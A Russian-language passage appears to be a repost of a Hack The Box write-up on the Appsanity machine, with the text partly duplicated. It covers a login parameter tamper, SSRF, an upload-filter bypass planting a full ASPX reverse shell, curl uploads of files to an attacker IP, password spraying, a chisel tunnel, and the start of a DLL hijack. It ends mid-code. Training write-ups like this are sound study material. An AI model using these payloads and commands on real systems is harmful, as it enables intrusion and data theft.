stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как можно применять технику перехвата DLL для повышения привилегий в Windows. Но прежде мы атакуем веб‑сайт и получим RCE через комбинацию из SSRF и уязвимости при загрузке файлов.
Наша цель — получение прав суперпользователя на машине Appsanity с учебной площадки Hack The Box. Уровень машины заявлен сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел три открытых порта:
или Зарегистрируйся. Добавляем этот домен в /etc/hosts и идем смотреть сайт.
Главная страница сайта meddigi.htb
Сразу же запускаем сканер поддоменов.
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Результат сканирования поддоменов
Спустя пару минут получаем еще один поддомен, который тоже добавляем в /etc/hosts.
Главная страница сайта portal.meddigi.htb
Теперь перейдем к анализу самих сайтов.
Форма авторизации сайта meddigi.htb
Авторизовавшись на сайте, получаем страницу профиля, где есть несколько полей ввода и даже возможность отправить сообщение кому‑то.
Содержимое страницы Profile
Но ничего интересного найти не удалось, поэтому вернемся в самое начало и просмотрим все запросы в Burp History. В глаза бросился параметр Acctype в запросе на авторизацию.
Запрос на авторизацию
Выйдем из своего профиля на сайте, активируем перехват запроса в Burp Proxy и снова пройдем авторизацию. Но в этот раз в перехваченном запросе изменим значение параметра Acctype на 2.
Запрос на авторизацию
Профиль пользователя
На этот раз мы авторизовались как доктор, и страница профиля содержит новые элементы.
Запрос к portal.meddigi.htb
Главная страница сайта portal.meddigi.htb
И получаем доступ к другому сайту от имени авторизованного пользователя. Но так как куки вставлялись через Burp, мы не сможем гулять по всему сайту. Давай откроем браузер и закинем токен доступа в хранилище Cookies.
Хранилище браузера
Теперь у нас есть полноценный доступ ко всем механизмам веб‑приложения. На одной из страниц разрешают сохранять документ по ссылке, что может привести к SSRF. На другой странице можно загружать файлы, а это потенциально ведет к возможности залить шелл.
Содержимое страницы Prescriptions
Содержимое страницы examreport
А затем указываем тестовую ссылку на этот сервер в поле ввода.
Ошибка отображения страницы
Логи веб‑сервера
Запрос с сервера приходит на внешний адрес. Теперь нужно проверить, приходит ли на внутренний. Для этого указываем в поле ввода адрес сайта и в открывшемся окошке отмечаем страницу профиля. А значит, можно выполнять запросы на внутренние ресурсы.
Отображение страницы профиля через SSRF
На этом этапе нам нужно найти другие внутренние ресурсы, к примеру «сканируя» порты через Burp Intruder. Для этого в Burp Proxy комбинацией клавиш Ctrl-I отправляем запрос в Intruder и указываем в ссылке порт как место перебора. В настройках атаки указываем постоянный редирект.
Burp Intruder — вкладка Positions
Вкладка Payloads
Вкладка Settings
Результаты сортируем по размеру страницы и находим тот вариант, который отличается от остальных. А значит, на порте 8080 работает еще один сервис.
Результат атаки
Этот сервис просто отображает список отчетов. При переходе по ссылке на отчет будет загружен документ PDF.
Отображение страницы с отчетами через SSRF
История запросов в Burp History
Здесь больше делать нечего, поэтому переходим к форме загрузки файлов.
Для просмотра ссылки Войдиили Зарегистрируйся
Запрос на сервер в Burp Proxy
При загрузке такого файла получаем ошибку, так как загружать можно только PDF-документы. Я попробовал поменять расширение файла на .pdf, но это тоже ничего полезного не дало. Значит, проверяется содержимое файла. Все нормальные PDF начинаются с определенной последовательности, которую мы добавим в начало загружаемого файла: %PDF-1.7.
Новое содержимое файла
Сообщение об успешной загрузке файла
Файл успешно загружен, и мы можем найти его через SSRF на другом ресурсе, где хранятся загруженные отчеты. Даже можем получить содержимое этого файла вот по такой ссылке:
Список отчетов
Содержимое загруженного файла
Так как файл отображен в текстовом виде, мы можем подобным образом загрузить на сервер и реверс‑шелл на ASPX. Я использую следующий код:
Загрузка шелла
После загрузки шелла запускаем листенер rlwrap nc -lvp 1234, обращаемся к файлу и получаем бэкконект. В сессии пользователя svc_exampanel можем прочитать первый флаг.
Сессия пользователя svc_exampanel
Флаг пользователя
Список системных пользователей
Перейдем в каталог веб‑сервера и просмотрим, какие еще есть веб‑приложения.
Содержимое каталога C:\inetpub
Потратив некоторое время на блуждание по каталогам в поисках информации для продвижения, я остановился на сервисе ExaminationPanel. Рабочий каталог приложения содержит несколько библиотек .NET.
Содержимое каталога ExaminationPanel\bin
Библиотека ExaminationManagement.dll — самописная, поэтому скачиваем ее для дальнейшего анализа. Для получения файлов с удаленного хоста очень удобно и быстро использовать мой Для просмотра ссылки Войдиили Зарегистрируйся, выполненный в виде небольшого скрипта на Python.
На локальном хосте запускаем сам веб‑сервер:
А на удаленном хосте, с которого нужно увести файл, используем curl для загрузки.
Загрузка библиотеки
Приложения .NET очень легко декомпилируются, к примеру с помощью Для просмотра ссылки Войдиили Зарегистрируйся (увы, давно заброшенного). Просматривая исходники разных классов, находим ветку реестра с какими‑то секретными данными.
Для просмотра ссылки Войдиили Зарегистрируйся
Получаем данные из этой ветки реестра.
reg query HKLM\Software\MedDigi
Данные из реестра
Похоже не просто на ключ шифрования, а на целый пароль. Просто поспреим его по всем пользователям на службе WinRM при помощи утилиты CrackMapExec.
Результат перебора пользователей
Мы обнаружили одну учетную запись, которая проходит авторизацию в службе. Получаем сессию пользователя с помощью Для просмотра ссылки Войдиили Зарегистрируйся и продвигаемся к повышению привилегий.
Информация о пользователе
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Давай пройдемся по наиболее интересным находкам скрипта.
Среди установленных приложений значится некий ReportManagement.
Установленные приложения
Также прослушивается локальный порт 100.
Список прослушиваемых портов
Перейдем в каталог приложения C:\Program Files\ReportManagement\ и просмотрим файлы.
Содержимое каталога приложения
Скачиваем файл для анализа и закидываем в любой удобный дизассемблер с декомпилятором. Я использую IDA Pro.
Начинаем с просмотра строк (F12).
Строки в программе
Находим что‑то похожее на меню, переходим к месту использования строки, после чего вызываем декомпилятор.
Декомпилированный код приложения
Итак, приложение предлагает использовать одну из нескольких команд: backup, validate, recover или upload. Если просмотреть код с самого начала, увидим фрагмент, где прослушивается соединение на уже известном нам порте 100.
Декомпилированный код приложения
Приходится просматривать слишком много кода, но ничего интересного, кроме команды upload, не находим.
Декомпилированный код приложения
В коде упомянут каталог Libraries в директории приложения. Чтобы лучше понимать, что происходит, запустим Для просмотра ссылки Войдиили Зарегистрируйся и добавим в фильтры имя приложения.
Настройка Process Monitor
Запускаем приложение, подключаемся к порту 100 (nc vm_address 100) и вводим команду upload asdasd. В логах Process Monitor отмечается, что нужного каталога не существует.
Логи Process Monitor
Создаем такой каталог на своей виртуальной машине и повторяем операции. На этот раз в логах отмечен поиск внутри созданного каталога.
Логи Process Monitor
Таким образом, нам нужно указывать на файл, который расположен в каталоге Libraries. Причем, как следует из кода далее, подгружен должен быть файл с расширением .dll и именем externalupload.
Декомпилированный код приложения
Декомпилированный код приложения (продолжение)
Как можно видеть, ответ сервера при передаче команде upload файла externalupload.dll отличается от остальных, причем сервер пытается подгрузить эту библиотеку.
Логи netcat
Права доступа на каталог
Таким образом, мы можем сделать вредоносную DLL, положить в нужный каталог и инициировать загрузку привилегированным процессом. Однако порт 100 работает только для внутреннего адреса, поэтому придется сделать туннель. Для этого будем использовать Для просмотра ссылки Войдиили Зарегистрируйся.
На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля R для ретрансляции трафика с порта 100 нашего локального сервера на порт 100 удаленного сервера 127.0.0.1.
В логах сервера должны увидеть сообщение о создании сессии.
Логи chisel server
Осталось создать DLL с реверс‑шеллом на порт 4321.
Теперь одной командой компилируем DLL-файл, после чего размещаем нашу либу в каталоге приложения.
Открываем листенер на порте 4321, подключаемся к приложению и инициируем загрузку DLL. Полученная сессия будет от имени администратора.
Работа с приложением
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Appsanity с учебной площадки Hack The Box. Уровень машины заявлен сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.238 appsanity.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел три открытых порта:
- 80 и 443 — веб‑сервер Microsoft IIS 10.0;
- 5985 — служба удаленного управления WinRM.
10.10.11.238 appsanity.htb meddigi.htb

Сразу же запускаем сканер поддоменов.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиЯ предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
- -u — URL;
- -w — словарь;
- -t — количество потоков;
- -H — HTTP-заголовок.
ffuf -u "[URL]https://meddigi.htb/[/URL]" -H 'Host: FUZZ.meddigi.htb' -t 128 -w subdomains-top1million-110000.txt

Спустя пару минут получаем еще один поддомен, который тоже добавляем в /etc/hosts.
10.10.11.238 appsanity.htb meddigi.htb portal.meddigi.htb

Теперь перейдем к анализу самих сайтов.
Точка входа
Повышение привилегий на сайте
На первом сайте, в отличие от второго, есть возможность регистрации.
Авторизовавшись на сайте, получаем страницу профиля, где есть несколько полей ввода и даже возможность отправить сообщение кому‑то.

Но ничего интересного найти не удалось, поэтому вернемся в самое начало и просмотрим все запросы в Burp History. В глаза бросился параметр Acctype в запросе на авторизацию.

Выйдем из своего профиля на сайте, активируем перехват запроса в Burp Proxy и снова пройдем авторизацию. Но в этот раз в перехваченном запросе изменим значение параметра Acctype на 2.


На этот раз мы авторизовались как доктор, и страница профиля содержит новые элементы.
Обход авторизации
Но снова ничего интересного найти не удалось. Однако здесь используется сессия AspNet, а значит, можно проверить токен доступа на другом сайте. Вдруг используется общий механизм авторизации. Для этого копируем cookie с сайта, где мы уже авторизовались, и используем их на portal.meddigi.htb.

И получаем доступ к другому сайту от имени авторизованного пользователя. Но так как куки вставлялись через Burp, мы не сможем гулять по всему сайту. Давай откроем браузер и закинем токен доступа в хранилище Cookies.

Теперь у нас есть полноценный доступ ко всем механизмам веб‑приложения. На одной из страниц разрешают сохранять документ по ссылке, что может привести к SSRF. На другой странице можно загружать файлы, а это потенциально ведет к возможности залить шелл.


Точка опоры
SSRF
Начинаем с формы сохранения документов по ссылке. Для проверки запускаем на локальной машине веб‑сервер:python3 -m http.server 80
А затем указываем тестовую ссылку на этот сервер в поле ввода.


Логи веб‑сервера
Запрос с сервера приходит на внешний адрес. Теперь нужно проверить, приходит ли на внутренний. Для этого указываем в поле ввода адрес сайта и в открывшемся окошке отмечаем страницу профиля. А значит, можно выполнять запросы на внутренние ресурсы.

На этом этапе нам нужно найти другие внутренние ресурсы, к примеру «сканируя» порты через Burp Intruder. Для этого в Burp Proxy комбинацией клавиш Ctrl-I отправляем запрос в Intruder и указываем в ссылке порт как место перебора. В настройках атаки указываем постоянный редирект.



Вкладка Settings
Результаты сортируем по размеру страницы и находим тот вариант, который отличается от остальных. А значит, на порте 8080 работает еще один сервис.

Этот сервис просто отображает список отчетов. При переходе по ссылке на отчет будет загружен документ PDF.


Здесь больше делать нечего, поэтому переходим к форме загрузки файлов.
File upload to RCE
Сперва загружаем обычный текстовый файл и просматриваем запрос на сервер в Burp Proxy.Для просмотра ссылки Войди

При загрузке такого файла получаем ошибку, так как загружать можно только PDF-документы. Я попробовал поменять расширение файла на .pdf, но это тоже ничего полезного не дало. Значит, проверяется содержимое файла. Все нормальные PDF начинаются с определенной последовательности, которую мы добавим в начало загружаемого файла: %PDF-1.7.


Файл успешно загружен, и мы можем найти его через SSRF на другом ресурсе, где хранятся загруженные отчеты. Даже можем получить содержимое этого файла вот по такой ссылке:
[URL unfurl="true"]http://127.0.0.1:8080/ViewReport.aspx?file=940d0924-6157-4465-9d56-823d28998e67_test.txt[/URL]


Так как файл отображен в текстовом виде, мы можем подобным образом загрузить на сервер и реверс‑шелл на ASPX. Я использую следующий код:
Код:
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
String host = ""; //CHANGE THIS
int port = ; ////CHANGE THIS
CallbackShell(host, port);
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll")]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
public static uint INFINITE = 0xFFFFFFFF;
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
internal struct sockaddr_in
{
public short sin_family;
public short sin_port;
public int sin_addr;
public long sin_zero;
}
[DllImport("kernel32.dll")]
static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll")]
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
public const int STD_INPUT_HANDLE = -10;
public const int STD_OUTPUT_HANDLE = -11;
public const int STD_ERROR_HANDLE = -12;
[DllImport("kernel32")]
static extern bool AllocConsole();
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags );
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int inet_addr([In] string cp);
[DllImport("ws2_32.dll")]
private static extern string inet_ntoa(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint htonl(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint ntohl(uint ip);
[DllImport("ws2_32.dll")]
private static extern ushort htons(ushort ip);
[DllImport("ws2_32.dll")]
private static extern ushort ntohs(ushort ip);
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int send( [In] IntPtr socketHandle, [In] byte[] pinnedBuffer, [In] int len, [In] SocketFlags socketFlags );
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int recv( [In] IntPtr socketHandle, [In] IntPtr pinnedBuffer, [In] int len, [In] SocketFlags socketFlags );
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int closesocket( [In] IntPtr socketHandle );
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr accept( [In] IntPtr socketHandle, [In, Out] ref sockaddr_in socketAddress, [In, Out] ref int socketAddressSize );
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int listen( [In] IntPtr socketHandle, [In] int backlog );
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int bind( [In] IntPtr socketHandle, [In] ref sockaddr_in socketAddress, [In] int socketAddressSize );
public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public static extern bool GetTokenInformation( IntPtr hToken, TOKEN_INFORMATION_CLASS tokenInfoClass, IntPtr TokenInformation, int tokeInfoLength, ref int reqLength);
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType, ref IntPtr DuplicateTokenHandle);
const int ERROR_NO_MORE_ITEMS = 259;
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_USER
{
public _SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool LookupAccountSid( [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, IntPtr pSid, StringBuilder Account, ref int cbName, StringBuilder DomainName, ref int cbDomainName, ref int peUse );
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool ConvertSidToStringSid( IntPtr pSID, [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle( IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000
}
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
extern static IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool EnumProcessModules(IntPtr hProcess, [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule, uint cb, [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
[DllImport("psapi.dll")]
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
public const uint PIPE_WAIT = 0x00000000;
public const uint PIPE_NOWAIT = 0x00000001;
public const uint PIPE_READMODE_BYTE = 0x00000000;
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
public const uint PIPE_TYPE_BYTE = 0x00000000;
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
public const uint PIPE_CLIENT_END = 0x00000000;
public const uint PIPE_SERVER_END = 0x00000001;
public const uint PIPE_UNLIMITED_INSTANCES = 255;
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
public const uint NMPWAIT_NOWAIT = 0x00000001;
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
public const uint GENERIC_READ = (0x80000000);
public const uint GENERIC_WRITE = (0x40000000);
public const uint GENERIC_EXECUTE = (0x20000000);
public const uint GENERIC_ALL = (0x10000000);
public const uint CREATE_NEW = 1;
public const uint CREATE_ALWAYS = 2;
public const uint OPEN_EXISTING = 3;
public const uint OPEN_ALWAYS = 4;
public const uint TRUNCATE_EXISTING = 5;
public const int INVALID_HANDLE_VALUE = -1;
public const ulong ERROR_SUCCESS = 0;
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
public const ulong ERROR_PIPE_BUSY = 231;
public const ulong ERROR_NO_DATA = 232;
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
public const ulong ERROR_MORE_DATA = 234;
public const ulong ERROR_PIPE_CONNECTED = 535;
public const ulong ERROR_PIPE_LISTENING = 536;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe( String lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr pipeSecurityDescriptor );
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ConnectNamedPipe( IntPtr hHandle, uint lpOverlapped );
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient( IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetNamedPipeHandleState( IntPtr hHandle, IntPtr lpState, IntPtr lpCurInstances, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout, StringBuilder lpUserName, int nMaxUserNameSize );
protected void CallbackShell(string server, int port)
{
string request = "Spawn Shell...\n";
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
IntPtr oursocket = IntPtr.Zero;
sockaddr_in socketinfo;
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
socketinfo = new sockaddr_in();
socketinfo.sin_family = (short) AddressFamily.InterNetwork;
socketinfo.sin_addr = inet_addr(server);
socketinfo.sin_port = (short) htons((ushort)port);
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
send(oursocket, bytesSent, request.Length, 0);
SpawnProcessAsPriv(oursocket);
closesocket(oursocket);
}
protected void SpawnProcess(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
}
protected void SpawnProcessAsPriv(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
IntPtr DupeToken = new IntPtr(0);
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
if (DupeToken == IntPtr.Zero)
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
CloseHandle(DupeToken);
}
</script>

После загрузки шелла запускаем листенер rlwrap nc -lvp 1234, обращаемся к файлу и получаем бэкконект. В сессии пользователя svc_exampanel можем прочитать первый флаг.


Продвижение
В системе несколько пользователей с приставкой svc_, видимо, каждый из них отвечает за определенный веб‑сервис.
Перейдем в каталог веб‑сервера и просмотрим, какие еще есть веб‑приложения.

Потратив некоторое время на блуждание по каталогам в поисках информации для продвижения, я остановился на сервисе ExaminationPanel. Рабочий каталог приложения содержит несколько библиотек .NET.

Библиотека ExaminationManagement.dll — самописная, поэтому скачиваем ее для дальнейшего анализа. Для получения файлов с удаленного хоста очень удобно и быстро использовать мой Для просмотра ссылки Войди
На локальном хосте запускаем сам веб‑сервер:
python3 HTTPServerWithUpload.py 80
А на удаленном хосте, с которого нужно увести файл, используем curl для загрузки.
curl -v -X POST [URL]http://10.10.16.8/[/URL] -H "Content-Type: multipart/form-data" -F file=@C:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll

Приложения .NET очень легко декомпилируются, к примеру с помощью Для просмотра ссылки Войди
Для просмотра ссылки Войди
Получаем данные из этой ветки реестра.
reg query HKLM\Software\MedDigi

Похоже не просто на ключ шифрования, а на целый пароль. Просто поспреим его по всем пользователям на службе WinRM при помощи утилиты CrackMapExec.
crackmapexec winrm 10.10.11.238 -u users.txt -p '1g0tTh3R3m3dy!!'

Мы обнаружили одну учетную запись, которая проходит авторизацию в службе. Получаем сессию пользователя с помощью Для просмотра ссылки Войди
evil-winrm -i 10.10.11.238 -u devdoc -p '1g0tTh3R3m3dy!!'

Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипт из набора PEASS для Windows.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиДавай пройдемся по наиболее интересным находкам скрипта.
Среди установленных приложений значится некий ReportManagement.

Также прослушивается локальный порт 100.

Перейдем в каталог приложения C:\Program Files\ReportManagement\ и просмотрим файлы.

Скачиваем файл для анализа и закидываем в любой удобный дизассемблер с декомпилятором. Я использую IDA Pro.
curl -v -X POST [URL]http://10.10.16.8/[/URL] -H "Content-Type: multipart/form-data" -F file=@"C:\Program Files\ReportManagement\ReportManagement.exe"
Начинаем с просмотра строк (F12).

Находим что‑то похожее на меню, переходим к месту использования строки, после чего вызываем декомпилятор.

Итак, приложение предлагает использовать одну из нескольких команд: backup, validate, recover или upload. Если просмотреть код с самого начала, увидим фрагмент, где прослушивается соединение на уже известном нам порте 100.

Приходится просматривать слишком много кода, но ничего интересного, кроме команды upload, не находим.

В коде упомянут каталог Libraries в директории приложения. Чтобы лучше понимать, что происходит, запустим Для просмотра ссылки Войди

Запускаем приложение, подключаемся к порту 100 (nc vm_address 100) и вводим команду upload asdasd. В логах Process Monitor отмечается, что нужного каталога не существует.

Создаем такой каталог на своей виртуальной машине и повторяем операции. На этот раз в логах отмечен поиск внутри созданного каталога.

Таким образом, нам нужно указывать на файл, который расположен в каталоге Libraries. Причем, как следует из кода далее, подгружен должен быть файл с расширением .dll и именем externalupload.


Как можно видеть, ответ сервера при передаче команде upload файла externalupload.dll отличается от остальных, причем сервер пытается подгрузить эту библиотеку.

DLL Hijacking
Теперь проверим, можем ли мы записывать в нужный каталог на веб‑сервере. И, как показала утилита icacls, наш пользователь такое право имеет.
Таким образом, мы можем сделать вредоносную DLL, положить в нужный каталог и инициировать загрузку привилегированным процессом. Однако порт 100 работает только для внутреннего адреса, поэтому придется сделать туннель. Для этого будем использовать Для просмотра ссылки Войди
На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).
chisel server --port 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля R для ретрансляции трафика с порта 100 нашего локального сервера на порт 100 удаленного сервера 127.0.0.1.
chisel.exe client 10.10.16.26:8888 R:100:127.0.0.1:100
В логах сервера должны увидеть сообщение о создании сессии.

Осталось создать DLL с реверс‑шеллом на порт 4321.
Код:
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "w2_32")
WSADATA wsaData;
